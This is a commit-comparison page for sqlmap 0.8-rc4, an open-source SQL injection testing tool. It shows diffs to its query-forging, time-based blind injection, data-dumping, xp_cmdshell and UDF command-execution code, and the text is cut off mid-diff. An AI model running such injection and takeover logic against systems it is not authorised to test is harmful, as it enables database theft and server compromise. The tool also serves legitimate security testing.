Compare commits

..

18 Commits

Author SHA1 Message Date
Bernardo Damele
f316e722c1 sqlmap 0.8-rc4: --dump option now can also accept only -C: user can provide a string column and sqlmap will enumerate all databases, tables and columns that contain the 'provided_string' or '%provided_string%' then ask the user to dump the entries of only those columns.
--columns now accepts also -C option: user can provide a string column and sqlmap will enumerate all columns of a specific table like '%provided_string%'.
Minor enhancements.
Minor bug fixes.
2010-01-09 00:05:00 +00:00
Bernardo Damele
6a62a78b0a More generic 2010-01-08 23:50:06 +00:00
Bernardo Damele
067cc07fb9 Make 'field' parameter in limitQuery() method to be option 2010-01-08 23:23:15 +00:00
Miroslav Stampar
5c20462155 minor update 2010-01-07 13:10:26 +00:00
Miroslav Stampar
82222fcd3a minor update of help text 2010-01-07 13:09:14 +00:00
Miroslav Stampar
d07f60578c implementation of Feature #17 2010-01-07 12:59:09 +00:00
Bernardo Damele
80df1fdcf9 Minor bug fix with --sql-query/shell when providing a statement with DISTINCT 2010-01-05 16:15:31 +00:00
Bernardo Damele
954a927cee Minor bug fix to properly execute --time-test also on MySQL >= 5.0.12 2010-01-05 11:43:16 +00:00
Miroslav Stampar
71547a3496 getDocRoot changes 2010-01-05 11:30:33 +00:00
Bernardo Damele
bb61010a45 Avoid useless checks for --os-bof (no need to check for DBA or for xp_cmdshell). Minor code restyling. 2010-01-04 15:02:56 +00:00
Bernardo Damele
473024bd6e Newline 2010-01-04 14:03:31 +00:00
Miroslav Stampar
6319eb6e5c just added PGP Key ID 2010-01-04 13:08:40 +00:00
Bernardo Damele
232f927dd0 Slightly updated the documentation 2010-01-04 12:53:58 +00:00
Miroslav Stampar
d71e47ce56 fix regarding dirnames in Feature #110 2010-01-04 12:39:07 +00:00
Bernardo Damele
2eb24c6368 Avoid useless queries 2010-01-04 12:35:53 +00:00
Bernardo Damele
236ca9b952 Major bug fix: --os-shell web backdoor functionality is now fixed (was broken since changeset r859). 2010-01-04 10:47:09 +00:00
Miroslav Stampar
96a033b51d found and fixed few bugs regarding my "fix" of Bug #110 2010-01-03 15:56:29 +00:00
Bernardo Damele
d5b1863dec Updated documentation and svn properties 2010-01-02 02:07:28 +00:00
22 changed files with 619 additions and 145 deletions

View File

@@ -1,3 +1,7 @@
Bernardo Damele Assumpcao Guimaraes (inquis) - Lead developer Bernardo Damele Assumpcao Guimaraes (inquis) - Lead developer
<bernardo.damele@gmail.com> <bernardo.damele@gmail.com>
PGP Key ID: 0x05F5A30F PGP Key ID: 0x05F5A30F
Miroslav Stampar (stamparm) - Developer since version 0.8-rc2
<miroslav.stampar@gmail.com>
PGP Key ID: 0xB5397B1B

View File

@@ -116,6 +116,9 @@ Anant Kochhar <anant.kochhar@secureyes.net>
Alexander Kornbrust <ak@red-database-security.com> Alexander Kornbrust <ak@red-database-security.com>
for reporting a couple of bugs for reporting a couple of bugs
Krzysztof Kotowicz <kkotowicz@gmail.com>
for reporting a minor bug
Nicolas Krassas <krasn@ans.gr> Nicolas Krassas <krasn@ans.gr>
for reporting a bug for reporting a bug

View File

@@ -453,7 +453,7 @@ class Agent:
return inbandQuery return inbandQuery
def limitQuery(self, num, query, field): def limitQuery(self, num, query, field=None):
""" """
Take in input a query string and return its limited query string. Take in input a query string and return its limited query string.
@@ -502,6 +502,12 @@ class Agent:
if " ORDER BY " in limitedQuery: if " ORDER BY " in limitedQuery:
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")] limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
notDistincts = re.findall("DISTINCT[\(\s+](.+?)\)*\s+", limitedQuery, re.I)
for notDistinct in notDistincts:
limitedQuery = limitedQuery.replace("DISTINCT(%s)" % notDistinct, notDistinct)
limitedQuery = limitedQuery.replace("DISTINCT %s" % notDistinct, notDistinct)
if limitedQuery.startswith("SELECT TOP ") or limitedQuery.startswith("TOP "): if limitedQuery.startswith("SELECT TOP ") or limitedQuery.startswith("TOP "):
topNums = re.search(queries[kb.dbms].limitregexp, limitedQuery, re.I) topNums = re.search(queries[kb.dbms].limitregexp, limitedQuery, re.I)
@@ -517,11 +523,13 @@ class Agent:
limitedQuery = limitedQuery.replace("TOP %s " % topNum, "") limitedQuery = limitedQuery.replace("TOP %s " % topNum, "")
if forgeNotIn: if forgeNotIn:
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1) limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
if " WHERE " in limitedQuery: if " WHERE " in limitedQuery:
limitedQuery = "%s AND %s " % (limitedQuery, field) limitedQuery = "%s AND %s " % (limitedQuery, field)
else: else:
limitedQuery = "%s WHERE %s " % (limitedQuery, field) limitedQuery = "%s WHERE %s " % (limitedQuery, field)
limitedQuery += "NOT IN (%s" % (limitStr % num) limitedQuery += "NOT IN (%s" % (limitStr % num)
limitedQuery += "%s %s)" % (field, fromFrom) limitedQuery += "%s %s)" % (field, fromFrom)

View File

@@ -30,6 +30,8 @@ import string
import sys import sys
import time import time
import urlparse import urlparse
import ntpath
import posixpath
from lib.contrib import magic from lib.contrib import magic
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
@@ -215,7 +217,7 @@ def getHtmlErrorFp():
def getDocRoot(): def getDocRoot():
docRoot = None docRoot = None
pagePath = os.path.dirname(conf.path) pagePath = directoryPath(conf.path)
if kb.os == "Windows": if kb.os == "Windows":
defaultDocRoot = "C:/Inetpub/wwwroot/" defaultDocRoot = "C:/Inetpub/wwwroot/"
@@ -224,14 +226,13 @@ def getDocRoot():
if kb.absFilePaths: if kb.absFilePaths:
for absFilePath in kb.absFilePaths: for absFilePath in kb.absFilePaths:
absFilePath = normalizePath(absFilePath)
absFilePathWin = None absFilePathWin = None
if re.search("[A-Za-z]:(\\[\w.\\]*)?", absFilePath): if re.match("[A-Za-z]:(\\[\w.\\]*)?", absFilePath):
absFilePathWin = absFilePath absFilePathWin = absFilePath
absFilePath = absFilePath[2:].replace("\\", "/") absFilePath = absFilePath[2:].replace("\\", "/")
absFilePath = os.path.normpath(absFilePath)
if pagePath in absFilePath: if pagePath in absFilePath:
index = absFilePath.index(pagePath) index = absFilePath.index(pagePath)
docRoot = absFilePath[:index] docRoot = absFilePath[:index]
@@ -509,7 +510,7 @@ def parsePasswordHash(password):
password += "%suppercase: %s" % (blank, hexPassword[54:]) password += "%suppercase: %s" % (blank, hexPassword[54:])
return password return password
def cleanQuery(query): def cleanQuery(query):
upperQuery = query upperQuery = query
@@ -621,7 +622,7 @@ def expandAsteriskForColumns(expression):
logger.info(infoMsg) logger.info(infoMsg)
return expression return expression
def getRange(count, dump=False, plusOne=False): def getRange(count, dump=False, plusOne=False):
count = int(count) count = int(count)
indexRange = None indexRange = None
@@ -635,7 +636,7 @@ def getRange(count, dump=False, plusOne=False):
if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop: if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop:
limitStart = conf.limitStart limitStart = conf.limitStart
if kb.dbms == "Oracle" or plusOne: if plusOne:
indexRange = range(limitStart, limitStop + 1) indexRange = range(limitStart, limitStop + 1)
else: else:
indexRange = range(limitStart - 1, limitStop) indexRange = range(limitStart - 1, limitStop)
@@ -691,8 +692,8 @@ def parseUnionPage(output, expression, partial=False, condition=None, sort=True)
data = data[0] data = data[0]
return data return data
def getDelayQuery(): def getDelayQuery(andCond=False):
query = None query = None
if kb.dbms in ("MySQL", "PostgreSQL"): if kb.dbms in ("MySQL", "PostgreSQL"):
@@ -703,6 +704,10 @@ def getDelayQuery():
if (kb.dbms == "MySQL" and banVer >= "5.0.12") or (kb.dbms == "PostgreSQL" and banVer >= "8.2"): if (kb.dbms == "MySQL" and banVer >= "5.0.12") or (kb.dbms == "PostgreSQL" and banVer >= "8.2"):
query = queries[kb.dbms].timedelay % conf.timeSec query = queries[kb.dbms].timedelay % conf.timeSec
if kb.dbms == "MySQL" and andCond:
query = query.replace("SELECT ", "")
else: else:
query = queries[kb.dbms].timedelay2 % conf.timeSec query = queries[kb.dbms].timedelay2 % conf.timeSec
else: else:
@@ -832,3 +837,19 @@ def sanitizeCookie(cookieStr, warn=False):
return result return result
else: else:
return None return None
def directoryPath(path):
retVal = None
if path.find('/') != -1:
retVal = posixpath.dirname(path)
else:
retVal = ntpath.dirname(path)
return retVal
def normalizePath(path):
retVal = None
if path.find('/') != -1:
retVal = posixpath.normpath(path)
else:
retVal = ntpath.normpath(path)
return retVal

View File

@@ -123,7 +123,32 @@ class Dump:
for setting in settings: for setting in settings:
self.__write(" %s: %s" % (subHeader, setting)) self.__write(" %s: %s" % (subHeader, setting))
print print
def dbColumns(self, dbColumns, colConsider, dbs):
for column, dbTables in dbColumns.items():
if colConsider == "1":
colConsiderStr = "s like '" + column + "' were"
else:
colConsiderStr = " '%s' was" % column
msg = "Column%s found in the " % colConsiderStr
msg += "following databases:"
self.__write(msg)
printDbs = {}
for db, tblData in dbs.items():
for tbl, colData in tblData.items():
for col in colData:
if column in col:
if db in printDbs:
printDbs[db][tbl] = colData
else:
printDbs[db] = { tbl: colData }
break
self.dbTableColumns(printDbs)
def dbTables(self, dbTables): def dbTables(self, dbTables):
if not isinstance(dbTables, dict): if not isinstance(dbTables, dict):
self.string("tables", dbTables) self.string("tables", dbTables)
@@ -155,7 +180,7 @@ class Dump:
self.__write("| %s%s |" % (table, blank)) self.__write("| %s%s |" % (table, blank))
self.__write("+%s+\n" % lines) self.__write("+%s+\n" % lines)
def dbTableColumns(self, tableColumns): def dbTableColumns(self, tableColumns):
for db, tables in tableColumns.items(): for db, tables in tableColumns.items():
if not db: if not db:
@@ -171,12 +196,16 @@ class Dump:
for column in colList: for column in colList:
colType = columns[column] colType = columns[column]
maxlength1 = max(maxlength1, len(column)) maxlength1 = max(maxlength1, len(column))
maxlength2 = max(maxlength2, len(colType))
if colType is not None:
maxlength2 = max(maxlength2, len(colType))
maxlength1 = max(maxlength1, len("COLUMN")) maxlength1 = max(maxlength1, len("COLUMN"))
maxlength2 = max(maxlength2, len("TYPE"))
lines1 = "-" * (int(maxlength1) + 2) lines1 = "-" * (int(maxlength1) + 2)
lines2 = "-" * (int(maxlength2) + 2)
if colType is not None:
maxlength2 = max(maxlength2, len("TYPE"))
lines2 = "-" * (int(maxlength2) + 2)
self.__write("Database: %s\nTable: %s" % (db, table)) self.__write("Database: %s\nTable: %s" % (db, table))
@@ -185,23 +214,42 @@ class Dump:
else: else:
self.__write("[%d columns]" % len(columns)) self.__write("[%d columns]" % len(columns))
self.__write("+%s+%s+" % (lines1, lines2)) if colType is not None:
self.__write("+%s+%s+" % (lines1, lines2))
else:
self.__write("+%s+" % lines1)
blank1 = " " * (maxlength1 - len("COLUMN")) blank1 = " " * (maxlength1 - len("COLUMN"))
blank2 = " " * (maxlength2 - len("TYPE"))
self.__write("| Column%s | Type%s |" % (blank1, blank2)) if colType is not None:
self.__write("+%s+%s+" % (lines1, lines2)) blank2 = " " * (maxlength2 - len("TYPE"))
if colType is not None:
self.__write("| Column%s | Type%s |" % (blank1, blank2))
self.__write("+%s+%s+" % (lines1, lines2))
else:
self.__write("| Column%s |" % blank1)
self.__write("+%s+" % lines1)
for column in colList: for column in colList:
colType = columns[column] colType = columns[column]
blank1 = " " * (maxlength1 - len(column)) blank1 = " " * (maxlength1 - len(column))
blank2 = " " * (maxlength2 - len(colType))
self.__write("| %s%s | %s%s |" % (column, blank1, colType, blank2))
self.__write("+%s+%s+\n" % (lines1, lines2)) if colType is not None:
blank2 = " " * (maxlength2 - len(colType))
self.__write("| %s%s | %s%s |" % (column, blank1, colType, blank2))
else:
self.__write("| %s%s |" % (column, blank1))
if colType is not None:
self.__write("+%s+%s+\n" % (lines1, lines2))
else:
self.__write("+%s+\n" % lines1)
def dbTableValues(self, tableValues): def dbTableValues(self, tableValues):
if tableValues is None:
return
db = tableValues["__infos__"]["db"] db = tableValues["__infos__"]["db"]
if not db: if not db:
db = "All" db = "All"

View File

@@ -67,6 +67,7 @@ from lib.core.update import update
from lib.parse.configfile import configFileParser from lib.parse.configfile import configFileParser
from lib.parse.queriesfile import queriesParser from lib.parse.queriesfile import queriesParser
from lib.request.proxy import ProxyHTTPSHandler from lib.request.proxy import ProxyHTTPSHandler
from lib.request.certhandler import HTTPSCertAuthHandler
from lib.utils.google import Google from lib.utils.google import Google
authHandler = urllib2.BaseHandler() authHandler = urllib2.BaseHandler()
@@ -518,13 +519,14 @@ def __setHTTPProxy():
def __setHTTPAuthentication(): def __setHTTPAuthentication():
""" """
Check and set the HTTP authentication method (Basic, Digest or NTLM), Check and set the HTTP(s) authentication method (Basic, Digest, NTLM or Certificate),
username and password to perform HTTP requests with. username and password for first three methods, or key file and certification file for
certificate authentication
""" """
global authHandler global authHandler
if not conf.aType and not conf.aCred: if not conf.aType and not conf.aCred and not conf.aCert:
return return
elif conf.aType and not conf.aCred: elif conf.aType and not conf.aCred:
@@ -537,45 +539,67 @@ def __setHTTPAuthentication():
errMsg += "but did not provide the type" errMsg += "but did not provide the type"
raise sqlmapSyntaxException, errMsg raise sqlmapSyntaxException, errMsg
debugMsg = "setting the HTTP authentication type and credentials" if not conf.aCert:
logger.debug(debugMsg) debugMsg = "setting the HTTP authentication type and credentials"
logger.debug(debugMsg)
aTypeLower = conf.aType.lower()
aTypeLower = conf.aType.lower()
if aTypeLower not in ( "basic", "digest", "ntlm" ):
errMsg = "HTTP authentication type value must be " if aTypeLower not in ( "basic", "digest", "ntlm" ):
errMsg += "Basic, Digest or NTLM" errMsg = "HTTP authentication type value must be "
raise sqlmapSyntaxException, errMsg errMsg += "Basic, Digest or NTLM"
raise sqlmapSyntaxException, errMsg
aCredRegExp = re.search("^(.*?)\:(.*?)$", conf.aCred)
aCredRegExp = re.search("^(.*?)\:(.*?)$", conf.aCred)
if not aCredRegExp:
errMsg = "HTTP authentication credentials value must be " if not aCredRegExp:
errMsg += "in format username:password" errMsg = "HTTP authentication credentials value must be "
raise sqlmapSyntaxException, errMsg errMsg += "in format username:password"
raise sqlmapSyntaxException, errMsg
authUsername = aCredRegExp.group(1)
authPassword = aCredRegExp.group(2) authUsername = aCredRegExp.group(1)
authPassword = aCredRegExp.group(2)
passwordMgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
passwordMgr.add_password(None, "%s://%s" % (conf.scheme, conf.hostname), authUsername, authPassword) passwordMgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
passwordMgr.add_password(None, "%s://%s" % (conf.scheme, conf.hostname), authUsername, authPassword)
if aTypeLower == "basic":
authHandler = urllib2.HTTPBasicAuthHandler(passwordMgr) if aTypeLower == "basic":
authHandler = urllib2.HTTPBasicAuthHandler(passwordMgr)
elif aTypeLower == "digest":
authHandler = urllib2.HTTPDigestAuthHandler(passwordMgr) elif aTypeLower == "digest":
authHandler = urllib2.HTTPDigestAuthHandler(passwordMgr)
elif aTypeLower == "ntlm":
try: elif aTypeLower == "ntlm":
from ntlm import HTTPNtlmAuthHandler try:
except ImportError, _: from ntlm import HTTPNtlmAuthHandler
errMsg = "sqlmap requires Python NTLM third-party library " except ImportError, _:
errMsg += "in order to authenticate via NTLM, " errMsg = "sqlmap requires Python NTLM third-party library "
errMsg += "http://code.google.com/p/python-ntlm/" errMsg += "in order to authenticate via NTLM, "
raise sqlmapMissingDependence, errMsg errMsg += "http://code.google.com/p/python-ntlm/"
raise sqlmapMissingDependence, errMsg
authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(passwordMgr)
authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(passwordMgr)
else:
debugMsg = "setting the HTTP(s) authentication certificate"
logger.debug(debugMsg)
aCertRegExp = re.search("^(.+?),\s*(.+?)$", conf.aCert)
if not aCertRegExp:
errMsg = "HTTP authentication certificate option "
errMsg += "must be in format key_file,cert_file"
raise sqlmapSyntaxException, errMsg
#os.path.expanduser for support of paths with ~
key_file = os.path.expanduser(aCertRegExp.group(1))
cert_file = os.path.expanduser(aCertRegExp.group(2))
for file in (key_file, cert_file):
if not os.path.exists(file):
errMsg = "File '%s' doesn't exist" % file
raise sqlmapSyntaxException, errMsg
authHandler = HTTPSCertAuthHandler(key_file, cert_file)
def __setHTTPMethod(): def __setHTTPMethod():
""" """

View File

@@ -41,6 +41,7 @@ optDict = {
"headers": "string", "headers": "string",
"aType": "string", "aType": "string",
"aCred": "string", "aCred": "string",
"aCert": "string",
"proxy": "string", "proxy": "string",
"threads": "integer", "threads": "integer",
"delay": "float", "delay": "float",

View File

@@ -27,7 +27,7 @@ import subprocess
import sys import sys
# sqlmap version and site # sqlmap version and site
VERSION = "0.8-rc3" VERSION = "0.8-rc4"
VERSION_STRING = "sqlmap/%s" % VERSION VERSION_STRING = "sqlmap/%s" % VERSION
SITE = "http://sqlmap.sourceforge.net" SITE = "http://sqlmap.sourceforge.net"
@@ -58,7 +58,7 @@ SQLMAP_SOURCE_URL = "http://downloads.sourceforge.net/sqlmap/sqlmap-%s.zip"
# Database managemen system specific variables # Database managemen system specific variables
MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" ) MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" )
MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" ) # Before MySQL 5.0 only "mysql" MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" ) # Before MySQL 5.0 only "mysql"
PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog" ) PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog", "pg_toast" )
ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" ) # These are TABLESPACE_NAME ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" ) # These are TABLESPACE_NAME
MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ] MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ]
@@ -74,6 +74,7 @@ SQL_STATEMENTS = {
"select ", "select ",
"show ", "show ",
" top ", " top ",
" distinct ",
" from ", " from ",
" from dual", " from dual",
" where ", " where ",

View File

@@ -89,12 +89,16 @@ def cmdLineParser():
help="Extra HTTP headers newline separated") help="Extra HTTP headers newline separated")
request.add_option("--auth-type", dest="aType", request.add_option("--auth-type", dest="aType",
help="HTTP Authentication type (value " help="HTTP Authentication type "
"Basic, Digest or NTLM)") "(Basic, Digest or NTLM)")
request.add_option("--auth-cred", dest="aCred", request.add_option("--auth-cred", dest="aCred",
help="HTTP Authentication credentials (value " help="HTTP Authentication credentials "
"name:password)") "(name:password)")
request.add_option("--auth-cert", dest="aCert",
help="HTTPs Authentication certificate ("
"key_file,cert_file)")
request.add_option("--proxy", dest="proxy", request.add_option("--proxy", dest="proxy",
help="Use a HTTP proxy to connect to the target url") help="Use a HTTP proxy to connect to the target url")

View File

@@ -145,6 +145,8 @@ class queriesHandler(ContentHandler):
self.__blind2 = sanitizeStr(attrs.get("query2")) self.__blind2 = sanitizeStr(attrs.get("query2"))
self.__count = sanitizeStr(attrs.get("count")) self.__count = sanitizeStr(attrs.get("count"))
self.__count2 = sanitizeStr(attrs.get("count2")) self.__count2 = sanitizeStr(attrs.get("count2"))
self.__condition = sanitizeStr(attrs.get("condition"))
self.__condition2 = sanitizeStr(attrs.get("condition2"))
def endElement(self, name): def endElement(self, name):
if name == "dbms": if name == "dbms":
@@ -192,11 +194,18 @@ class queriesHandler(ContentHandler):
elif name == "columns": elif name == "columns":
self.__columns = {} self.__columns = {}
self.__columns["inband"] = { "query": self.__inband } self.__columns["inband"] = { "query": self.__inband, "condition": self.__condition }
self.__columns["blind"] = { "query": self.__blind, "query2": self.__blind2, "count": self.__count } self.__columns["blind"] = { "query": self.__blind, "query2": self.__blind2, "count": self.__count, "condition": self.__condition }
self.__queries.columns = self.__columns self.__queries.columns = self.__columns
elif name == "dump_column":
self.__dumpColumn = {}
self.__dumpColumn["inband"] = { "query": self.__inband, "query2": self.__inband2, "condition": self.__condition, "condition2": self.__condition2 }
self.__dumpColumn["blind"] = { "query": self.__blind, "query2": self.__blind2, "count": self.__count, "count2": self.__count2, "condition": self.__condition, "condition2": self.__condition2 }
self.__queries.dumpColumn = self.__dumpColumn
elif name == "dump_table": elif name == "dump_table":
self.__dumpTable = {} self.__dumpTable = {}
self.__dumpTable["inband"] = { "query": self.__inband } self.__dumpTable["inband"] = { "query": self.__inband }

View File

@@ -30,6 +30,7 @@ import zlib
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.common import directoryPath
from lib.parse.headers import headersParser from lib.parse.headers import headersParser
from lib.parse.html import htmlParser from lib.parse.html import htmlParser
@@ -68,16 +69,17 @@ def parseResponse(page, headers):
# Detect injectable page absolute system path # Detect injectable page absolute system path
# NOTE: this regular expression works if the remote web application # NOTE: this regular expression works if the remote web application
# is written in PHP and debug/error messages are enabled. # is written in PHP and debug/error messages are enabled.
absFilePathsRegExp = ( r" in <b>(.*?)</b> on line", r"\b[A-Za-z]:(\\[\w.\\]*)?", r"/[/\w.]+" ) absFilePathsRegExp = ( r" in <b>(?P<result>.*?)</b> on line", r"\b(?P<result>[A-Za-z]:(\\[\w.\\]*)?)", r"(\A|[^<])(?P<result>/[/\w.]+)" )
for absFilePathRegExp in absFilePathsRegExp: for absFilePathRegExp in absFilePathsRegExp:
reobj = re.compile(absFilePathRegExp) reobj = re.compile(absFilePathRegExp)
for match in reobj.finditer(page): for match in reobj.finditer(page):
absFilePath = match.group() absFilePath = match.group("result").strip()
if absFilePath not in kb.absFilePaths: if absFilePath not in kb.absFilePaths:
kb.absFilePaths.add(os.path.dirname(absFilePath)) dirname = directoryPath(absFilePath)
kb.absFilePaths.add(dirname)
def decodePage(page, encoding): def decodePage(page, encoding):
""" """

View File

@@ -1,12 +1,45 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import sys
import httplib import httplib
import urllib2 import urllib2
from lib.core.data import conf
class HTTPSCertAuthHandler(urllib2.HTTPSHandler): class HTTPSCertAuthHandler(urllib2.HTTPSHandler):
def __init__(self, key_file, cert_file): def __init__(self, key_file, cert_file):
urllib2.HTTPSHandler.__init__(self) urllib2.HTTPSHandler.__init__(self)
self.key_file = key_file self.key_file = key_file
self.cert_file = cert_file self.cert_file = cert_file
def https_open(self, req): def https_open(self, req):
return self.do_open(self.getConnection, req) return self.do_open(self.getConnection, req)
def getConnection(self, host): def getConnection(self, host):
return httplib.HTTPSConnection(host, key_file=self.key_file, cert_file=self.cert_file) if sys.version_info >= (2,6):
retVal = httplib.HTTPSConnection(host, key_file=self.key_file, cert_file=self.cert_file, timeout=conf.timeout)
else:
retVal = httplib.HTTPSConnection(host, key_file=self.key_file, cert_file=self.cert_file)
return retVal

View File

@@ -350,6 +350,8 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None,
expression = expandAsteriskForColumns(expression) expression = expandAsteriskForColumns(expression)
value = None value = None
expression = expression.replace("DISTINCT ", "")
if inband and kb.unionPosition: if inband and kb.unionPosition:
if kb.dbms == "Oracle" and " ORDER BY " in expression: if kb.dbms == "Oracle" and " ORDER BY " in expression:
expression = expression[:expression.index(" ORDER BY ")] expression = expression[:expression.index(" ORDER BY ")]

View File

@@ -95,7 +95,7 @@ class Abstraction(UDF, xp_cmdshell):
else: else:
self.execCmd(cmd, forgeCmd=True) self.execCmd(cmd, forgeCmd=True)
if not conf.osShell and not conf.cleanup: if not conf.osShell and not conf.osPwn and not conf.cleanup:
self.__cmdShellCleanup() self.__cmdShellCleanup()
def absOsShell(self): def absOsShell(self):
@@ -151,7 +151,7 @@ class Abstraction(UDF, xp_cmdshell):
self.checkDbmsOs(detailed) self.checkDbmsOs(detailed)
if not self.isDba(): if mandatory and not self.isDba():
warnMsg = "the functionality requested might not work because " warnMsg = "the functionality requested might not work because "
warnMsg += "the session user is not a database administrator" warnMsg += "the session user is not a database administrator"
logger.warn(warnMsg) logger.warn(warnMsg)
@@ -160,8 +160,11 @@ class Abstraction(UDF, xp_cmdshell):
self.udfInjectCmd() self.udfInjectCmd()
elif kb.dbms == "Microsoft SQL Server": elif kb.dbms == "Microsoft SQL Server":
self.xpCmdshellInit(mandatory) if mandatory:
self.xpCmdshellInit()
else: else:
errMsg = "feature not yet implemented for the back-end DBMS" errMsg = "feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg raise sqlmapUnsupportedFeatureException(errMsg)
self.envInitialized = True

View File

@@ -145,7 +145,7 @@ class xp_cmdshell:
return output return output
def xpCmdshellInit(self, mandatory=True): def xpCmdshellInit(self):
self.__xpCmdshellAvailable = False self.__xpCmdshellAvailable = False
infoMsg = "checking if xp_cmdshell extended procedure is " infoMsg = "checking if xp_cmdshell extended procedure is "
@@ -187,19 +187,10 @@ class xp_cmdshell:
warnMsg += "because sp_OACreate is disabled" warnMsg += "because sp_OACreate is disabled"
logger.warn(warnMsg) logger.warn(warnMsg)
if not self.__xpCmdshellAvailable and not mandatory: if not self.__xpCmdshellAvailable:
warnMsg = "unable to get xp_cmdshell working, sqlmap will "
warnMsg += "try to proceed without it"
logger.warn(warnMsg)
self.envInitialized = True
elif not self.__xpCmdshellAvailable:
errMsg = "unable to proceed without xp_cmdshell" errMsg = "unable to proceed without xp_cmdshell"
raise sqlmapUnsupportedFeatureException, errMsg raise sqlmapUnsupportedFeatureException, errMsg
self.envInitialized = True
debugMsg = "creating a support table to write commands standard " debugMsg = "creating a support table to write commands standard "
debugMsg += "output to" debugMsg += "output to"
logger.debug(debugMsg) logger.debug(debugMsg)

View File

@@ -31,12 +31,13 @@ from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.request import inject from lib.request import inject
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
def timeTest(): def timeTest():
infoMsg = "testing time based blind sql injection on parameter " infoMsg = "testing time based blind sql injection on parameter "
infoMsg += "'%s' with AND condition syntax" % kb.injParameter infoMsg += "'%s' with AND condition syntax" % kb.injParameter
logger.info(infoMsg) logger.info(infoMsg)
timeQuery = getDelayQuery() timeQuery = getDelayQuery(andCond=True)
query = agent.prefixQuery(" AND %s" % timeQuery) query = agent.prefixQuery(" AND %s" % timeQuery)
query = agent.postfixQuery(query) query = agent.postfixQuery(query)
payload = agent.payload(newValue=query) payload = agent.payload(newValue=query)
@@ -60,9 +61,10 @@ def timeTest():
infoMsg += "'%s' with stacked query syntax" % kb.injParameter infoMsg += "'%s' with stacked query syntax" % kb.injParameter
logger.info(infoMsg) logger.info(infoMsg)
start = time.time() timeQuery = getDelayQuery(andCond=True)
payload, _ = inject.goStacked(timeQuery) start = time.time()
duration = int(time.time() - start) payload, _ = inject.goStacked(timeQuery)
duration = int(time.time() - start)
if duration >= conf.timeSec: if duration >= conf.timeSec:
infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter
@@ -78,6 +80,7 @@ def timeTest():
kb.timeTest = False kb.timeTest = False
return kb.timeTest return kb.timeTest
def timeUse(query): def timeUse(query):
start = time.time() start = time.time()
_, _ = inject.goStacked(query) _, _ = inject.goStacked(query)

View File

@@ -352,9 +352,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
infoMsg = "fingerprinting the back-end DBMS operating system" infoMsg = "fingerprinting the back-end DBMS operating system"
logger.info(infoMsg) logger.info(infoMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "text")
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
datadirSubstr = inject.getValue("SELECT MID(@@datadir, 1, 1)", unpack=False) datadirSubstr = inject.getValue("SELECT MID(@@datadir, 1, 1)", unpack=False)
if datadirSubstr == "/": if datadirSubstr == "/":
@@ -553,7 +550,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
self.udfSharedLibExt = "so" self.udfSharedLibExt = "so"
self.udfInjectCore(self.sysUdfs) self.udfInjectCore(self.sysUdfs)
self.envInitialized = True
def uncPathRequest(self): def uncPathRequest(self):
if not kb.stackedTest: if not kb.stackedTest:

View File

@@ -464,7 +464,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
self.udfSharedLibExt = "so" self.udfSharedLibExt = "so"
self.udfInjectCore(self.sysUdfs) self.udfInjectCore(self.sysUdfs)
self.envInitialized = True
def uncPathRequest(self): def uncPathRequest(self):
self.createSupportTbl(self.fileTblName, self.tblField, "text") self.createSupportTbl(self.fileTblName, self.tblField, "text")

View File

@@ -190,7 +190,11 @@ class Enumeration:
errMsg = "unable to retrieve the number of database users" errMsg = "unable to retrieve the number of database users"
raise sqlmapNoneDataException, errMsg raise sqlmapNoneDataException, errMsg
indexRange = getRange(count) if kb.dbms == "Oracle":
plusOne = True
else:
plusOne = False
indexRange = getRange(count, plusOne=plusOne)
for index in indexRange: for index in indexRange:
if condition: if condition:
@@ -299,7 +303,12 @@ class Enumeration:
